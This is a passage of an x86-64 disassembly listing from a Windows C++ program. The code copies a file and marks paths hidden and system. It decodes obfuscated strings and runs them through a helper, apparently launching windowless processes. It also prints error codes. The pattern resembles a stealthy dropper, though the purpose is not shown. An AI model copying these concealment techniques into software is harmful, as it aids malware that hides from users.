lea rdx, [rbp + 0x2c10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x3ce0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2c10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2c3f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2be0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2c0f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2c8f]
mov qword [rbp + 0x3970], rax
nop
nop
lea rcx, [rbp + 0x2c8f]
mov rdx, qword [rbp + 0x3cf0]
lea rax, [rbp + 0x2c60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2cbf]
mov qword [rbp + 0x3968], rax
nop
nop
lea rcx, [rbp + 0x2cbf]
lea rdx, [rbp + 0x430]
lea rax, [rbp + 0x2c90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2c40]
lea rcx, [rbp + 0x2c60]
lea rdx, [rbp + 0x2c90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2c40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0x2c40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2c90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2cbf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2c60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2c8f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2d0f]
mov qword [rbp + 0x3960], rax
nop
nop
lea rcx, [rbp + 0x2d0f]
mov rdx, qword [rbp + 0x3ce0]
lea rax, [rbp + 0x2ce0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2d3f]
mov qword [rbp + 0x3958], rax
nop
nop
lea rcx, [rbp + 0x2d3f]
lea rdx, [rbp + 0x650]
lea rax, [rbp + 0x2d10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2cc0]
lea rcx, [rbp + 0x2ce0]
lea rdx, [rbp + 0x2d10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2ce0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d0f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2d8e]
mov qword [rbp + 0x3950], rax
nop
nop
lea rax, [rbp + 0x2d8f]
mov rcx, rax
call method.main.lambda__139::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__5865736161184943495ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2d8e]
lea rax, [rbp + 0x2d60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x2db0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2dfe]
mov qword [rbp + 0x3948], rax
nop
nop
lea rax, [rbp + 0x2dff]
mov rcx, rax
call method.main.lambda__138::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_23ull__5865736161184943495ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2dfe]
lea rax, [rbp + 0x2dd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2d90]
lea rcx, [rbp + 0x2db0]
lea rdx, [rbp + 0x2dd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2d40]
lea rcx, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2d40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2d40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2dd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2dfe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2db0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d8e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2e4e]
mov qword [rbp + 0x3940], rax
nop
nop
lea rax, [rbp + 0x2e4f]
mov rcx, rax
call method.main.lambda__143::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_21ull__14837101420404384717ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2e4e]
lea rax, [rbp + 0x2e20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x2e70]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x2ede]
mov qword [rbp + 0x3938], rax
nop
nop
lea rax, [rbp + 0x2edf]
mov rcx, rax
call method.main.lambda__142::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_8ull__14837101420404384717ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2ede]
lea rax, [rbp + 0x2eb0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2f2f]
mov qword [rbp + 0x3930], rax
nop
nop
lea rcx, [rbp + 0x2f2f]
mov rdx, qword [rbp + 0x3cf0]
lea rax, [rbp + 0x2f00]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2f7f]
mov qword [rbp + 0x3928], rax
nop
nop
lea rcx, [rbp + 0x2f7f]
lea rdx, [rbp + 0x430]
lea rax, [rbp + 0x2f50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2fce]
mov qword [rbp + 0x3920], rax
nop
nop
lea rax, [rbp + 0x2fcf]
mov rcx, rax
call method.main.lambda__141::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_35ull__14837101420404384717ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2fce]
lea rax, [rbp + 0x2fa0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x303e]
mov qword [rbp + 0x3918], rax
nop
nop
lea rax, [rbp + 0x303f]
mov rcx, rax
call method.main.lambda__140::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_23ull__14837101420404384717ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x303e]
lea rax, [rbp + 0x3010]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2fd0]
lea rcx, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2f80]
lea rcx, [rbp + 0x2fa0]
lea rdx, [rbp + 0x2fd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2f30]
lea rcx, [rbp + 0x2f50]
lea rdx, [rbp + 0x2f80]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2ee0]
lea rcx, [rbp + 0x2f00]
lea rdx, [rbp + 0x2f30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2e90]
lea rcx, [rbp + 0x2eb0]
lea rdx, [rbp + 0x2ee0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2e50]
lea rcx, [rbp + 0x2e70]
lea rdx, [rbp + 0x2e90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2e00]
lea rcx, [rbp + 0x2e20]
lea rdx, [rbp + 0x2e50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2e00]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2e00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2e50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2e90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ee0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3010]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x303e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2fa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2fce]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2f50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f7f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2f00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f2f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2eb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ede]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2e70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2e20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2e4e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x308e]
mov qword [rbp + 0x3910], rax
nop
nop
lea rax, [rbp + 0x308f]
mov rcx, rax
call method.main.lambda__145::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_118ull__8582483954150267349ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x308e]
lea rax, [rbp + 0x3060]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x30b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x30fe]
mov qword [rbp + 0x3908], rax
nop
nop
lea rax, [rbp + 0x30ff]
mov rcx, rax
call method.main.lambda__144::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_53ull__8582483954150267349ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x30fe]
lea rax, [rbp + 0x30d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3090]
lea rcx, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3040]
lea rcx, [rbp + 0x3060]
lea rdx, [rbp + 0x3090]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3040]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x3040]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3090]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30fe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x30b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3060]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x308e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x3128]
mov qword [rbp + 0x3900], rax
nop
nop
lea rax, [rbp + 0x3129]
mov rcx, rax
call method.main.lambda__146::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_131ull__566307473860287337ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3128]
lea rax, [rbp + 0x3100]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x3100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3128]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
sete al
test al, al
je 0x231956927
lea rax, [rbp + 0x312a]
mov rcx, rax
call method.main.lambda__147::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__16540918502695105985ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231956a80
lea rax, [rbp + 0x312b]
mov rcx, rax
call method.main.lambda__148::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__2408752089105147147ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x312c]
mov rcx, rax
call method.main.lambda__149::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__1249747881201474331ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231956a80
lea rax, [rbp + 0x312d]
mov rcx, rax
call method.main.lambda__150::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__10038466193342138341ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x312e]
mov rcx, rax
call method.main.lambda__151::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__3989386564682373547ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [rbp + 0x3ce8]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___int_
mov rbx, rax
mov rax, qword [rbp + 0x3ce0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___int_
mov rbx, rax
call sym.f_ele__
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 2
jle 0x231956add
lea rax, [rbp + 0x312f]
mov rcx, rax
call method.main.lambda__152::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_8ull__5758964355773232085ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231956add
mov eax, 1
jmp 0x231956ae2
mov eax, 0
test al, al
je 0x231956bcf
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x317e]
mov qword [rbp + 0x38f8], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x317e]
lea rax, [rbp + 0x3150]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3150]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov edx, eax
lea rax, [rbp + 0x3130]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3130]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3130]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x317e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov ebx, 0
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 2
jle 0x231956c13
lea rax, [rbp + 0x317f]
mov rcx, rax
call method.main.lambda__153::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_16ull__12362715027460671967ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231956c13
mov eax, 1
jmp 0x231956c18
mov eax, 0
test al, al
je 0x231956d2b
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x31ce]
mov qword [rbp + 0x38f0], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x31ce]
lea rax, [rbp + 0x31a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x31a0]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov edx, eax
lea rax, [rbp + 0x3180]
mov r9d, 0
mov r8d, 0
mov rcx, rax
call method._com_error._com_error_long__IErrorInfo__bool_
lea rax, [rbp + 0x3180]
mov rcx, rax
call method._com_error.ErrorMessage___const
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3180]
mov rcx, rax
call method._com_error._com_error__
lea rax, [rbp + 0x31a0]
mov rcx, rax
